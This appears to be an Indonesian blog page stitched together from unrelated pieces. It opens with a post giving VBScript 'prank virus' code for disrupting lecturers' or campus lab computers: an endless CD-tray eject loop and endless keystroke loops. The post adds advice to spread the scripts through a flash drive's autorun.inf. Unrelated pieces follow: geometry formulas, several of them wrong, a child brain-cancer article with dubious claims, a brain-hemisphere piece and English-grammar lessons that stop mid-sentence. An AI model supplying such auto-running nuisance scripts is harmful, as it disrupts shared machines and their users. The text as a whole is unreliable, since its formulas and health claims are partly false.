Cara membuat Virus Nakal Posted by izyn mustofa Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, lagi suntuk di ruang labkom kampus, pusing ngga bisa maen facebook karena diblokir sama admin labkom, yah iseng2 buatin scripts .vbs. Caranya: Buka notepad dan masukkan code berikut, Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti. Cara membuat virus nakal Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini. NB: kl males atau ga tau cara copasnya. download ajah linknya diakhir artikel: Nah mau script .vbs yang laen lagi? WScript.Sleep 18000 WScript.Sleep 1000 do Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "H" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "l" WScript.Sleep 500 WshShell.SendKeys "o" WScript.Sleep 500 WshShell.SendKeys ". " WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "p" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "K" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "i" WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 wscript.sleep 5000 loop Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik? ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as Buat virus nakal Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!” :D Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Kamu emang jelak koq!" loop Dan membuat terus menerus menekan tombol “Enter” Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Terus tekan backspace: MsgBox "Balik lagi ah...saltik" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop

Rumus Luas, keliling dan Volume Bangun Ruang dan Bangun Datar VOLUME 1. Balok (Prisma Siku-siku) Rumus : V = p x l x t 2. Kubus (Dadu) Rumus : V = s x s x s 3. Prisma Segitiga Rumus : V = (0,5 x a x b) x t 4. Limas Segiempat, Alasnya Berbentuk Persegi Panjang Rumus : V = 0,3 x p x l x t 5. Limas Segitiga Rumus : V = 0,3 x (0,5 x a x b) x t 6. Tabung (Silinder) Dengan Tutup Rumus : V = 3,14 x r x r 7. Tabung (Silinder) Tanpa Tutup Rumus : V = (3,14 x r x r) x t 8. Kerucut Rumus : V = 0,3 x (3,14 x r x r) x t 9. Bola Rumus : V = 1,3 x 3,14 x r x r x r LUAS 1. Segitiga Rumus : L = 0,5 x a x t 2. Bujur Sangkar Rumus : L = s x s 3. Persegi Panjang Rumus : L = p x l 4. Trapesium Rumus : L = 0,5 x (a + b) x t 5. Jajaran Genjang Rumus : L = a x t 6. Belah Ketupat Rumus : L = 0,5 x d1 x d2 7. Layang-layang Rumus : L = 0,5 x d1 x d2 8. Lingkaran Rumus : L =

Penyebab kangker otak pada anak Tumor yang paling umum berkembang pada anak-anak adalah tumor otak. Namun, anak laki-laki berisiko lebih rendah terkena kanker otak dibandingkan anak perempuan. Sejauh ini, para ilmuwan masih mencoba untuk mencari tahu penyebab kanker otak melalui berbagai penelitian. Penyebab dari kanker otak pada anak. Berikut adalah penyebab kanker otak pada anak-anak, seperti dilansir onlymyhealth. 1. Kelainan gen Beberapa kelainan pada gen dapat menyebabkan pertumbuhan sel yang tidak terkendali, yang pada akhirnya menyebabkan kanker. Penyusunan ulang kromosom juga menyebabkan gen abnormal. 2. Kondisi genetik tertentu Kondisi genetik tertentu, seperti neurofibromatosis dan sindrom retinoblastoma, juga dapat menyebabkan kanker otak dengan mengubah gen atau kromosom. 3. Riwayat keluarga Anak dengan riwayat keluarga yang mengalami kanker otak berisiko mengembangkan tumor pada sistem saraf pusat. 4. Paparan bahan kimia Beberapa bahan kimia dapat mengubah struktur gen yang melindungi tubuh terhadap penyakit jantung dan kanker. Orang-orang yang bekerja di kilang minyak, pabrik kimia dan laboratorium nuklir, berisiko lebih tinggi terkena kanker. Risiko tersebut juga mungkin terjadi pada anak-anak mereka. 5. Terapi radiasi Anak-anak yang mendapatkan terapi radiasi pada kepala akibat pengobatan penyakit tertentu, dapat meningkatkan risiko pertumbuhan tumor. Tumor di otak dapat menyebabkan stres dan kerusakan pada daerah di sekitarnya. Itulah yang kemudian berkembang menjadi kanker. Pastikan Anda telah menerapkan gaya hidup sehat pada anak sejak dini. Berikan pula asupan gizi yang tepat untuk mendukung pertumbuhannya.

Fungsi Otak Kiri Dan Kanan by Ghost izin mustofa Otak manusia terbelah menjadi dua bagian. Kedua bagian otak tersebut bertanggung jawab silang, maksudnya belahan otak kanan bertanggung jawab terhadap tubuh dan bagian kiri sebaliknya. Hal ini berarti bila otak kanan seseorang lebih dominan, maka orang tersebut cenderung menjadi kidal atau aktif dengan bagian tubuh kiri. Kedua belahan otak sangat identik tapi berbeda fungsi. Masing-masing otak berperilaku berbeda. Otak adalah organ tubuh yang paling vital dan penting bagi kelangsungan hidup manusia. Jika manusia diibaratkan sebuah komputer, otak adalah prosesornya. Otak manusia terdiri lebih dari 100 miliar saraf yang masing-masing terkait dengan 10 ribu saraf lain. Otak adalah organ tubuh vital pengendali sistem saraf pusat. Otak manusia terbagi menjadi dua dan dibatasi oleh celah longitudinal. Celah longitudinal disebut juga dengan celah great longitudinal atau celah longitudinal cerebral merupakan alur dalam yang memisahkan kedua belahan otak manusia. Ada keuntungan manusia memiliki otak yang terintegrasi. Dengan dua permukaan menjadi lebih luas, yang memungkinkan untuk pertumbuhan dan pendinginan yang lebih baik. Otak belahan kiri dan belahan kanan masing-masing memiliki fungsi yang berbeda, berikut fungsi masing-masing belahan otak: Otak belahan kiri Otak kiri dicirikan dengan karakteristik yang berhubungan dengan kemampuan analisis, logis, urutan, objektif dan rasional. Dengan karakterisitik ini, orang yang dominan menggunakan otak kiri cenderung memiliki pendekatan rasional terhadap kehidupan. Orang yang dominan otak kiri akan lebih tertarik dengan angka, kata-kata atau simbol. Dengan cara berpikirnya yang logis dan rasional, individu dengan dominansi otak kiri cenderung melakukan kemampuan analisa dengan baik. Misalnya dalam bidang teknik atau akutansi. Orang dengan dominasi otak kiri berpengalaman dalam perencanaan, dan orang ini jarang sekali melakukan persiapan di saat-saat terakhir. Otak belahan kanan Di sisi lain, karakteristik yang terkait dengan otak kanan adalah intuitif, acak, subjektif, holistik (secara menyeluruh) dan sintesis. Dengan karakteristik ini, orang yang dominan dengan otak kanan cenderung lebih kreatif ketimbang orang yang dominan otak kiri. Kenyataan bahwa orang dengan dominansi otak kanan lebih cenderung menyukai aspek visual, sehingga orang-orang tersebut jarang menanggapi masalah secara rinci. Individu dengan dominansi otak kanan cenderung lebih kreatif dan intuitif, baik di bidang seni yang kreatif, maupun di bidang-bidang lainnya. Individu tersebut memiliki waktu yang tepat untuk memprioritaskan hal-hal yang sulit, karena sebagian besar keputusan yang dibuat pada saat terakhir. Jika dua individu diberikan beberapa kasus, satu dengan dominansi otak kanan dan yang lainnya dengan dominansi otak kiri, orang dengan dominansi otak kanan akan mulai bekerja tanpa melalui manual instruksi. Sedangkan individu dengan dominansi otak kiri akan melakukannya melalui manual, memahami konsep, baru kemudian menangani kasus tersebut.

Chapter 1 Gerund and Infinitive a. Gerund Gerund adalah bentuk kata kerja disebabkan oleh kasus tertentu harus ditambahkan –ing (Verb –ing). Gerund dikenal juga dengan kata kerja yang dibendakan. Gerund digunakan jika: 1. Kata kerja (Verb) sebagai Subjek Example: Speaking is better than thinking. Swimming is good sport. Jogging makes us fresh. 2. Kata Kerja (Verb) sebagai Objek/Complement Example: She likes dancing. My hobby is cycling. 3. Kata kerja (Verb) sebagai prepositional objek (kata kerja terletak setelah kata depan) Example: I am sorry for coming late. On opening the door, I saw him. Before leaving, he said nothing. 4. Setelah istilah khusus Example: It is no use studying without practicing. It is worth reading source books. She is busy preparing for the exams. She usually can’t help laughing when she hears a joke. I am used to eating gudeg Yogya. (terbiasa) BERBEDA DENGAN I used to eat Yogya. (pernah) She gets used to leaving near the airport. Rudi is accustomed to wearing a tie during his work. 5. Kata kerja setelah possessive adjective Example: Her teaching is fascinating. His staring frightens. I hate Iwan’s wearing tattoo. 6. Kata kerja setelah kata kerja tertentu Admit Miss Approve of Appreciate Postpone Be better off Avoid Practice Can’t help Complete Quit Count on Consider Recall Do not mind/mind Delay Recommend Forget about Deny Regret Get through Discuss Risk Insist on Enjoy Stop Keep on Look forward to Finish Suggest Object to Keep Tolerate Think about Mention Understand Think of Example: We enjoy seeing them again after so many years. Bob admitted stealing the money. b. To Infinitive To infinitive merupakan Verb simple dengan awalan to. To infinitive ini digunakan apabila: 1. Kata kerja setelah objek tertentu (accusative Object) Example: She wanted me to buy a new camera. Prabu asked to go with him. 2. Kata kerja setalah kata Tanya yang mengawali klausa kata benda (Noun Clause) Example: She wanted to know how to manage the business. I don’t know what to do. 3. Kata kerja sebagai complement Example: He is a nice man to talk to. Dedy is too young to run the business. It is difficult to adapt in a new environment. It is easy for me to defeat him. 4. Kata kerja setelah kata sifat berikut: Example: The students are not yet able to handle such problem. We are ready to pass the test. Anxious Boring Dangerous Certain Eager Good Glad Ready Pleased Prepared Able Usual Common Difficult Wrong 5. Kata kerja setelah kata kerja tertentu: Agree Fail Appear Forget Arrange Hesitate Ask Hope Claim Intend Consent Learn Decide Manage Demand Mean Deserve Need Expect Offer Plan Prepare Pretend Promise Refuse Seem Tend Threaten Wait Want The pattern: Subject + Special Verb + To Infinitive We planned to leave. Example: Ratu learned to swim when she was young. The soldiers are preparing to attack the village. I expect to begin studying law next month. Exercises: 1. He wanted ________ with Mr. Brown. (A) speak (B) speaks (C) to speak (D) to speaking 2. She is considering not _________. (A) going (B) go (C) to going (D) to go 3. We enjoyed _________ with your boyfriend. (A) talk (B) talking (C) talks (D) to talking 4. She mentions ________ at El Paso in her letter. (A) stop (B) stopping (C) stops (D) stoping 5. They didn’t plan ________ a car. (A) buy (B) to buy (C) buys (D) to buys 6. Strauss finished ______ two of his published compositions before his tenth birthday. (A) written (B) write (C) to write (D) writing 7. We demand ________ our status. (A) to know (B) knowing (C) knows (D) to knows 8. I intend _________ you that we cannot _________ your application. (A) to inform, approve (B) inform, approve (C) to informs, approves (D) inform, approved 9. Many people have stopped ________ because they are afraid that it may be harmful to their health. (A) to smoke (B) smoked (C) smoking (D) to smokes 10. The weather tends _________ in May. (A) improving (B) improves (C) to improve (D) improved 11. When friend insists on _____ expensive gifts, it makes most Americans uncomfortable. (A) them to accept (B) their accepting (C) they accepting (D) they accept 12. I am looking forward _________ the information from you soon. (A) to hear (B) to hearing (C) hearing (D) hears 13. I can’t help ________ in love with you. (A) falls (B) falling (C) to fall (D) to falling 14. I avoid _______ problem with your family. (A) get (B) getting (C) got (D) to got 15. John completed _______ his thesis this summer. (A) writing (B) write (C) to write (D) wrote Chapter 2 Giving Instruction and Procedure Conversation Form for The Instruction: Jerry : Excuse me. Could you show me how this vacuum cleaner works? Clerk : Yes, of course. Jerry : What’s this thing for? Clerk : Oh, that’s for picking up heavy dirt. Jerry : Why is it bent? Clerk : That’s so you can clean under furniture more easily. Let me show you. Jerry : Oh, I see. And does it have a dust bag? Clerk : Yes, of course. Jerry : How do you change this? Clerk : It’s very easy. First, you can make sure the power has been turned off. Then this clip is pressed down. The back is lifted off, and then dust bag is taken out like this. Jerry : Let me try it. Oh, that is easy. And it’s also very light. What’s it made of? Clerk : It’s made of plastic. But it’s very strong. Jerry : Ok, fine. I think I will take this one. Can it be delivered? Clerk : Sure. We can deliver it to your home tomorrow morning. Jerry : Fine. Useful Expression: What’s this thing (used) for? That’s for …………………………….. That’s to ……………………………… What’s this button for? it’s for fast forwarding the tape it’s to …………………………………… Why is bent? That’s so you can clean under furniture more easily. What is it made of? It’s made of plastic. Where was it made? It was made in Italy. Exercises: 1. Do you have any remote control at home? What devices can remote controls operate (for example, videos, garage doors?) What devices can you operate with this remote? How can you operate your remote control? Explain the operation! 2. How to use the computer? 3. How to operate the cellular phone? 4. How to cook noodles? 5. How to iron your uniform? 6. How to use motorcycle? Explain the each numbers step by step. Expression of request: 1. Untuk meminta izin melakukan sesuatu: - Can I ……. ? - Is it alright if I ……… ? - May I …….. ? - I wonder if I can/could may ……… ? - Could I ………. ? - Would you mind if I ……… ? - Do you mind if I ……… ? 2. Untuk mengabulkan/mengiyakan permohonan izin: - Sure. - Go head. - yes, please. - By all means. - Certainly - 3. Untuk menolak permohonan: - Sorry but ……. - I’d rather you didn’t - I am afraid you can’t/couldn’t/may not Chapter 3 The Comparison of Adjective 1. Equal degree To say that people, thing, or actions are equal in a particular way, we often use the structure: As + Adjective + as Example: I work as hard as you. My brother can’t run as fast as me. The Grand Hotel is as expensive as the Hyatt Hotel. The same + as Example: A telephone number is the same as a phone number. 7 X 12 is the same as 3 x 28. the same + noun + as Example: I arrived the same time as Tim. She lives in the same street as me. Andrew is the same age as Caroline. 2. Comparative degree To say that people, things, or actions are unequal in a particular way. We use the comparative to compare one person, things, or action with another person, thing, or action. Adjectives that have one or two syllables, the comparative is ended with –er. Adjective + er + (than) Example: It is easier to phone than to write a letter. I am better than yesterday. I can run faster than him. Adjectives that have three syllables or longer, the comparative is ended with more. More + adjective + (than) Example: Is it more expensive to go by car or by train? You must be more careful. I don’t like my job. I want to do something more interesting. A bit …….. /much …… Example: Tom is a bit older than Ted. Indonesia is much bigger than Singapore. 3. Superlative degree We use the superlative to compare somebody or something with the whole group that he/she belongs to. Adjectives that have one or two syllable, the superlative is ended with –est. The + adjective + est Example: She is the one of the richest people in town. Excuse me, where is the nearest bank? Ken is a good player, but he isn’t the best in the team. Adjectives that have three syllables or longer, the superlative is ended with the most. The most + adjective Example: Money is important but it isn’t the most important thing in life. What is the most unusual thing you have ever done? Exercise 1: Write the comparative forms for the following adjectives. ex: Old = older than 1. small 2. big 3. important 4. easy 5. difficult 6. long 7. heavy 8. sweet 9. expensive 10. hot 11. cheap 12. good 13. bad 14. far 15. lazy Exercise 2: Complete the sentences. Use the comparative form of the words in italics. 1. comfortable This chair is more comfortable than that chair. 2. large Your apartment is _______________ mine. 3. warm It’s ___________ today _______ yesterday. 4. dark Tom’s mustache is ____________________ Don’s. 5. important Love is ______________________ money. 6. lazy I’m __________ my roommate. 7. tall My brother is ______________ I am. 8. heavy Iron is ____________________ wood. 9. difficult My physics course is _______________________ my math course. 10. good Nadia’s English is _____________________ her husband. 11. long The Nile River is ___________________ the Mississippi. 12. intelligent A dog is ___________________ a chicken. 13. good My wife’s cooking is ________________ mine. 14. bad My cooking is ___________________ my wife’s 15. short My little finger is _________________ my middle finger. 16. pretty This dress is ______________ that one. 17. far Your apartment is ________ from school ________ mine. 18. strong A horse is ___________ a person. 19. curly Ken’s hair is _____________ mine. 20. beautiful A rose is ________________ a weed. Exercise 3: Complete the sentences. Use the correct form of the adjectives in italics. 1. large The largest city in Canada I Toronto. 2. long The Nile is ________________ river in the world. 3. interesting I’m taking four classes. My history class is _________________ of all. 4. high Mt. McKinley in Alaska is ________________ mountain in North America. 5. tall The Sears Tower is _____________ building in Chicago. 6. big Lake Superior is _________ lake in North America. 7. short February is ________________ month of the year. 8. far Pluto is ______________ planet from the sun. 9. bad In my opinion, Harry’s Steak House is ___________ restaurant in the city. 10. good In my opinion, the Doghouse Café has ________ food in the city. 11. beautiful In my opinion, Seattle is _________________ city in the United States. 12. comfortable Ken is sitting in _________________ chair in the room. 13. fast ___________ way to travel is by airplane. 14. good When you feel depressed, laughter is ___________ medicine. 15. large Asia is __________ continent in the world. 16. small Australia is ________________ continent in the world. 17. expensive Sally ordered _________________food on the menu for dinner last night. 18. easy taking a taxi is ______________ way to get to the airport. 19. important I think good health is ____________________ thing in life. 20. famous The Gateway Arch is _________________landmark in St. Louis, Missouri. Chapter 4 Telephoning and Making an Appointment The Conversation 1: Operator : Good afternoon. Pacific Computer System. May I help you? Caller : Hello. Is it possible to speak to Mr. Bradley, extension 321, please? Operator : Just a moment, please. I will connect you. (pause, clicks) I’m trying to connect you. (Engaged tone) I’m sorry, the number is engaged. Would you like to hold? Caller : No, it’s all right. I’ll call back. The Conversation 2: Operator : Good morning. Pacific Computer Systems. may I help you? Susan : Hello, could I speak to John Brown, please? Operator : Hold the line a moment please. I’ll put you through to his secretary. It’s ringing for you now. Mary : Hello. John Brown’s office. Mary’s speaking. Susan : Hello. I’m Susan Miller of Jakarta Banking. I’m phoning to fix an appointment with Mr. Brown. Would ten tomorrow be all right? Mary : I’m afraid not. She’s got rather full day tomorrow. Susan : Could you make it at eleven o’clock? Mary : Sorry, but that’s taken too. The Conversation 3: Susan : Will you able to see me tomorrow? Mr. Brown : What time is it? Susan : At two o’clock. Mr. Brown : No, I’m afraid I can’t. Susan : How about three o’clock? Mr. Brown : Yes, that’s fine. Susan : Ok. I’ll see you then. Useful Expressions: Answering a call Good morning/afternoon/evening, ABC Company. Can I help you? Hello. Production Department. Clara’s speaking. May I help you? Making a call Could I speak to Mr/Ms ……………? Is it possible to speak to Mr/Ms …………….? Could you put me through to Mr/Ms ………………..? Could I have extension 123, please? Possible situations Who’s calling? I’m sorry, Mr/Ms ………….. is out. May I know who’s speaking? I’m afraid, Mr/Ms …………. is having a meeting. Is there something I can do? Mr/Ms ……………. is taking on another telephone. Will you wait a moment? Transferring a call Just a moment, please. I’ll put you through. Hold on, please. I’ll connect you immediately. You are through now. If you didn’t hear, you can say I’m sorry. I didn’t catch what you said. Sorry, I can’t hear. It’s a bad line. Could speak up, please? Could you repeat what you said, please? Could you say that again? Making an appointment I’d like to fix an appointment with Mr. X. Would ten tomorrow be all right? Do you think Mr. X could see me tomorrow before ten? Could I have an appointment with Mr. X at ten tomorrow? Could you manage my appointment with Mr. X at ten tomorrow? Possible situations Yes, he’s free then. I’ll make a note of it. I’m afraid not. He’s got a rather full day tomorrow. Sorry, but he’s fully booked till twelve unless there’s a cancellation. He won’t be in till 12, so the earliest would be 12.30. Suggesting another time when the time doesn’t fix How about 12.30? Would 12.30 be convenient? Could you make it at 12.30? Inviting Invitation digunakan untuk mengajak melakukan sesuatu: Let’s + V1 Why don’t we ……. ? How about ……..? Would you care for ……..? I’d like to invite you to ………..? Would you like to …………….? I wonder if you’d like to ………………. ? Put these sentences in the correct order to make a short conversation. _______ Yes, please. Would Tuesday the 26th be convenient? _______ Good morning, Mr. Mane. This is Peter Brien. _______ It’s quite all right. I’ll look forward to seeing you on Thursday the 28th, then. _______ I’m calling about our appointment on the 25th. I’m afraid I can’t make it. _______ Fine. Thank you. Goodbye. _______ Good morning, Mr. Brien. How can I help you? _______ Yes, I can manage the 28th. I’m sorry to be a nuisance. _______ Shifali Mane. _______ it’s not a problem. Would you like to fix another time, then? _______ I’m afraid I’m tied up on the 26th. How about the 28th? Chapter 5 The Passive Voice In the passive, the object of an active verb becomes the subject of the passive verb. Only transitive verbs (verbs that are followed by an object) are used in the passive. For example: Active: Marry helped the boy. Passive: The boy was helped by Mary. Active Passive Present Tense Mary helps John. John is helped by Mary. Present Continuous is helping is being helped Present Perfect has helped has been helped Simple Past helped was helped Past Continuous was helping was being helped Past Perfect had helped had been helped Simple Future will help will be helped Be going to is going to he is going to be helped Future perfect will have help will have been helped Terdapat beberapa hal yang harus diperhatikan dalam mengubah pola aktif ke dalam pola pasif, antara lain: a. Subjek pada kalimat pasif berasal dari objek pada kalimat aktif. b. be……..ing dalam kalimat aktif menjadi being dalam bentuk pasif. c. Tense pada kalimat pasif mengikuti bentuk kalimat aktifnya. d. Verb 3 pada kalimat pasif dibentuk oleh verb pada kalimat aktifnya. e. Hanya kalimat transitif kalimat yang mengandung objek yang biasa dirubah kedalam bentuk pasif dan atau kalimat pasif hanya berlaku bagi kata kerja transitif. f. Kalimat pasif digunakan tatkala ingin menpnjolkan hasil tindakan daripada pelaku tindakan tersebut. Example: Active : My mother cooks the meal everyday. Passive : The meal is cooked by mother everyday. Active : My mother is cooking the meal at the moment. Passive : The meal is being cooked by mother at the moment. Active : My mother will have cooked the meal when the children come from school this afternoon. Passive : The meal will have been cooked by mother when the children come from school this afternoon. Active : My mother will have been cooking the meal for an hour when father comes from school this afternoon. Passive : The meal will have been being cooked by mother for an hour when father comes from school this afternoon. Active : We can solve the problem. Passive : The problem can be solved. Exercise: Change into passive 1. It is said that many people are homeless after floods. 2. It is known that the Prime Minister is in favor of the new law. 3. It is expected that the government will lose the election. 4. It is thought the prisoner escaped by climbing over the wall. 5. It is believe that the thieves got in through the kitchen window. 6. People say that Arthur is very rich. 7. People say that he has 22 children. 8. The bill includes the service. 9. People don’t use this road very often. 10. They cancelled all flights because of the fog. 11. Somebody accused me of stealing the money. 12. They are building a new ring-road round the city. 13. I didn’t realize that someone was recording our conversation. 14. They have changed the date of the meeting. 15. Brian told me that somebody had attacked and robbed him in the street. 16. People should send their complaints to the head office. 17. Somebody might have stolen your car if you had left they key in it. 18. An electrical fault could have caused the fire. 19. They are going to hold next year’s congress in San Francisco. 20. They should not have played the football match in such bad weather. Chapter 6 Inquiry and Reply Business Letter Writing: Inquiries - Asking for Information We write an inquiry when we want to ask for more information concerning a product, service or other information about a product or service that interests us. These letters are often written in response to an advertisement that we have seen in the paper, a magazine, a commercial on television when we are interested in purchasing a product, but would like more information before making a decision. Most letter inquiry are short and simple, so much so that many firms have adopted the practice of sending printed inquiry forms. As a prospective buyer, the writer of an inquiry states briefly and clearly what he is interested in, and this is receiver of the letter needs to know. An inquiry is sent when a businessman wants some information (an act of asking for information), especially about: - the supply of goods - delivery times and deadlines - leaflets or catalogues - method of transport - quotation or prices - insurance - samples - terms and discounts Remember to place your or your company's address at the top of the letter (or use your company's letterhead) followed by the address of the company you are writing to. The date can either be placed double spaced down or to the right. • The Start: Dear Sir or Madam To Whom It May Concern - (very formal as you do not know the person to whom you are writing) • Giving Reference: With reference to your advertisement (ad) in... Regarding your advertisement (ad) in ... • Requesting a Catalogue, Brochure, Etc.: After the reference, add a comma and continue - ... , would (Could) you please send me ... • Requesting Further Information: I would also like to know ... Could you tell me whether ... • Signature: Yours faithfully - (very formal as you do not know the person to whom you are • writing) Terms of Payment • Cash in advance tunai di muka • Cash with order (c.w.o) tunai beserta pesanan (t.b.p) • Cash on delivery (c.o.d) tunai waktu terima (t.w.t) • Payment quarterly/monthly/at sight pembayaran suku tahunan/bulanan • Our usual terms are cash against documents (c.a.d) syarat berdasarkan dokumen/faktur • We can allow you three months credit pemberian kredit 3 bulan • c.i.f (cost, insurance, freight) harga, asuransi, angkutan • c & f (cost and freight) harga dan angkutan • f.o.b (free on board) penyerahan diatas kapal • f.a.s (free alongside ship) penyerahan disisi kapal • f.o.r (free on rail) penyerahan di gerbong • These prices are ex warehouse harga gudang • Freight and insurance to be paid by buyer/by you angkutan dan asuransi dibayar oleh pembeli/anda • Delivery will be made within two months of receipt of your order pengiriman akan dilakukan dalam masa dua bulan sesudah diterima pesanan anda An Example Letter Kenneth Beare 2520 Visita Avenue Olympia, WA 98501 Jackson Brothers 3487 23rd Street New York, NY 12009 September 12, 2000 To Whom It May Concern: With reference to your advertisement in yesterday's New York Times, could you please send me a copy of your latest catalogue. I would also like to know if it is possible to make purchases online. Yours faithfully (Signature) Kenneth Beare Administrative Director English Learners & Company Business Letter Writing: Responding to Inquiries and Requests for Information It is very important to make a good impression when responding to inquiries from potential customers. Of course, the best impression will be made by providing the materials or information that the perspective client has asked for, this positive impression will be improved by a well written response. Remember to place your or your company's address at the top of the letter (or use your company's letterhead) followed by the address of the company you are writing to. The date can either be placed double spaced down or to the right. You can also include a reference number for correspondence. Important Language to Remember • The Start: Dear Mr, Ms (Mrs, Miss VERY IMPORTANT use Ms for women unless asked to use Mrs or Miss) • Thanking the Potential Customer for His/Her Interest: Thank you for your letter of ... inquiring (asking for information) about ... We would like to thank you for your letter of ... inquiring (asking for information) about ... • Providing Requested Materials: We are pleased to enclose ... Enclosed you will find ... We enclose ... • Providing Additional Information: We would also like to inform you ... Regarding your question about ... In answer to your question (inquiry) about ... • Closing a Letter Hoping for Future Business: We look forward to ... hearing from you / receiving your order / welcoming you as our client (customer). • Signature: Yours sincerely (remember use 'Yours faithfully' when you don't know the name of the person you are writing and 'Yours sincerely' when you do. • Example Letter Jackson Brothers 3487 23rd Street New York, NY 12009 Kenneth Beare Administrative Director English Learners Company 2520 Visita Avenue Olympia, WA 98501 September 12, 2000 Dear Mr Beare, Thank you for your inquiry of 12 September asking for the latest edition of our catalogue. We are pleased to enclose our latest brochure. We would also like to inform you that it is possible to make purchases online at http:\\jacksonbros.com. We look forward to welcoming you as our customer. Yours sincerely (Signature) Dennis Jackson Marketing Director Jackson Brothers Exercises: Worldwide Dealers Ltd. 4 Mugadishu St. Hadda Road PO BOX: 340 Sana’a Republic of Yemen The Victoria Cycle Works PO BOX: 9271 Melbourne June 14, 1999 Dear Sirs, Our business agent in India has asked us for quotation for 10.000 brand new computers to be exported to Sri Lanka, India, Pakistan, and Nepal. Please let us to know what quantities you are able to deliver at regular intervals, quoting your best terms f.o.b Brisbane. We shall handle export formalities, but would ask you to calculate container transport to Brisbane for onward shipment. Yours faithfully, P. King Ass. Marketing Manager Question: • Who is the addresser? • Who is the addresse? • Who is P. King? • Why do the Worldwide Dealers approach the Victoria Cycle Works? • What do they ask for apart from prices? • How should the brand new computers be transported? 13 Garstone Road Bournemouth, Hants 2nd April, 2005 Mr. S. Hampshire Hampshire’s Hardware Store 312 High Street Bournemouth, Hants. Dear Mr. Hampshire, When I was in your shop this morning I looked in vain for a STIRTIP electric driver, similar to the one I bought from you two years ago. I am so delighted with my own that I would have liked to buy another one for my nephew. However, your assistant told me that you do not stock this make anymore. Would you please inquiry if the STIRTIP driver is still obtainable from the manufactures. I should be obliged to you for your assistance in this matter. Yours sincerely, Mrs. H. Marks Questions: • Who is the addresser? • Who is the addresse? • Who is Mrs. H. Marks? • Why is Mrs. Marks writing to Mr. Hampshire? • What was Mrs. Marks told by Mr. Hampshire’ assistant? • Who may be able to supply the driver? • What is the different between letter number 1 and 2? Chapter 7 Complaining and Apologizing X : I am sorry. Y : That’s all right. X : I am very sorry. Selain ungkapan I am sorry, dapat dipergunakan juga I apologize, forgive me, pardon me. Jawaban untuk permintaan maaf yang berarti mau memaafkan adalah: - Not at all - That’s all right - It doesn’t matter - No problem Complaining by phone: Receptionist : Good morning. Montana Texindo Corporation. May I help you? Roger : Good morning. Could you put me through to your sales department? Receptionist : Yes, Sir. May I ask who you want to speak to or what it is in connection with? Roger : It’s about the wrong quantity you have delivered. Receptionist : Just a moment, please. I’ll connect you with Ms. Clara Jones. Clara : Yes, Clara Jones’s speaking. May I help you? Roger : Hello, Clara. It’s Roger Martin of Daitona Enterprise. Clara : Hello, Roger. How are you? Roger : I’m fine, thanks. And you? Clara : Fine. What can I do for you, Roger? Roger : I’m afraid there’s a problem with our order. You delivered the wrong quantity. Clara : Oh dear. How many did we deliver? Roger : 60. We asked for 80. Clara : I’m sorry about that. I’ll send the rest immediately. Roger : Thanks a lot. Can you send them today? Clara : Yes, of course. Is there anything else? Roger : No, that’s all thanks. Exercise: Complaint: 1. You’re late. I’ve been waiting for an hour. 2. The library book was due back yesterday. 3. Excuse me, but your car is blocking my driveway. 4. I think you’ve given me the wrong change. 5. Don’t forget. You still owe me $25. 6. I was waiting for you at the coffee shop last night, but you didn’t turn up. How come? 7. Hey, I need my cassette player back. Have you finished with it? 8. By the way, I ask you to return my book to the library. 9. Excuse me, waiter! I ordered my food about fifteen minutes ago and it’s still not here. 10. Linda! Where are all those cookies that I baked yesterday? Apology: a. Sorry. Let me check the bill again. b. oh, yeah. It’s in my locker. I’ll go and take it. c. Gee, I’m sorry. I Missed the bus. d. Oh, Gee. I’m sorry. Let me write you check right now. e. Oh, sorry. I didn’t realize it was over due . f. Gosh, I’m sorry. I completely forgot about it. I’ll check it back today, g. I’m sorry. I’ll move it right away. h. Oh, I know, Bob. But you know when I taste the first cookies, it was so good. I couldn’t help eating all of them. i. Oh, I got there late and you were already gone. I’m really sorry. j. I must apologize, Sir. I’m afraid the other two waiters off sick, and I’ Chapter 8 The Conditional 1. Future Conditional (type 1) Pengandaian ini menyatakan sesuatu mungkin 